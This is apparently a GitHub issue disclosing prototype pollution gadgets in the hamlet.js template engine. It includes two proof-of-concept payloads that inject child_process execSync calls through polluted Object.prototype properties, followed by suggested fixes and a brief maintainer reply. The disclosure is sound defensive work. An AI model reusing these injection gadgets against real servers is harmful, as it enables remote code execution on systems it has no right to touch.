Skip to content
This repository has been archived by the owner on Aug 16, 2023. It is now read-only.

vulnerable undefined property lookup that escalating prototype pollution to remote code execution #3

Open
jackfromeast opened this issue Aug 14, 2023 · 1 comment
Open

vulnerable undefined property lookup that escalating prototype pollution to remote code execution #3

jackfromeast opened this issue Aug 14, 2023 · 1 comment

Comments

@jackfromeast
Copy link

Hello,

I've identified several prototype pollution gadgets within the hamlet.js template engine that could potentially be leveraged by attackers to achieve remote code execution via prototype pollution vulnerabilities.

In light of the findings, I kindly request your confirmation of these potential issues to improve the security of the JavaScript ecosystem. We would greatly appreciate any steps taken to address them and we stand ready to submit a pull request on the GitHub repository to help improve the security for all users of your excellent work.

Root Cause

The existence of these gadgets can be attributed to a specific programming practice. When checking for the presence of a property within an object variable, the lookup scope isn't explicitly defined. In JavaScript, the absence of a defined lookup scope prompts a search up to the root prototype (Object.prototype). This could potentially be under the control of an attacker if other prototype pollution vulnerabilities are present within the application.

Some vulnerable coding patterns are as follows.

if(obj.prop){ //... }
var x = obj.prop || ''

Impact

If the application server is using the hamlet.js as the backend template engine, and there is another prototype pollution vulnerability in the application, then the attacker could leverage the found gadgets in the hamlet.js template engine to escalate the prototype pollution to remote code execution.

Proof of Concept

Below, I present a Proof of Concept (PoC) to demonstrate the gadgets that I've recently identified in hamlet.js@0.3.3.

Gadget 1

Object.prototype.variable = "x;\nprocess.mainModule.require('child_process').execSync(\`sleep 10\`);\nvar it"

templateString = `<body>
<p>Some paragraph.
<ul>
    <li>Item 1
    <li>Item 2
<.foo>
    <span#bar data-attr=#{foo}>baz # this is a comment`

Hamlet(templateString, {foo:'f'})

Gadget 2

Object.prototype.filename = "' + (process.mainModule.require('child_process').execSync(\`sleep 10\`)) + '"

const templateString =  `<body>
<p>Some paragraph.
<ul>
    <li>Item 1
    <li>Item 2
<.foo>
    <span#bar data-attr=#{foo}>baz # this is a comment`

/*
    This requries trigger an error in the render stage as the inject code is in the catch block
    This is fairly commonly seen scanrio if the server is passing user inputs as the data of function while they are missing a required variable (e.g. foo)
*/
let ret = Hamlet(templateString, {})

General Suggested Fix

To mitigate this issue, I recommend constraining the property lookup to the current object variable.
Here are two general strategies:

  1. Utilize the hasOwnProperty method, especially when there's no need to traverse the prototype chain.
if(obj.hasOwnProperty('prop')){ //... }
var x = obj.hasOwnProperty('prop') ? obj.prop : ''
  1. Alternatively, consider using Object.create(null) to create a truly empty object, which won't include the proto property.
var obj = Object.create(null);

By adopting these measures, we can effectively prevent the potential exploitation of prototype pollution vulnerabilities.

Reference

Here is the reference link where the similar security issue has been found in ejs template engine:
mde/ejs#601
@gregwebs
Copy link
Owner

Thanks, I don't know if there are any users of this library right now.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@gregwebs @jackfromeast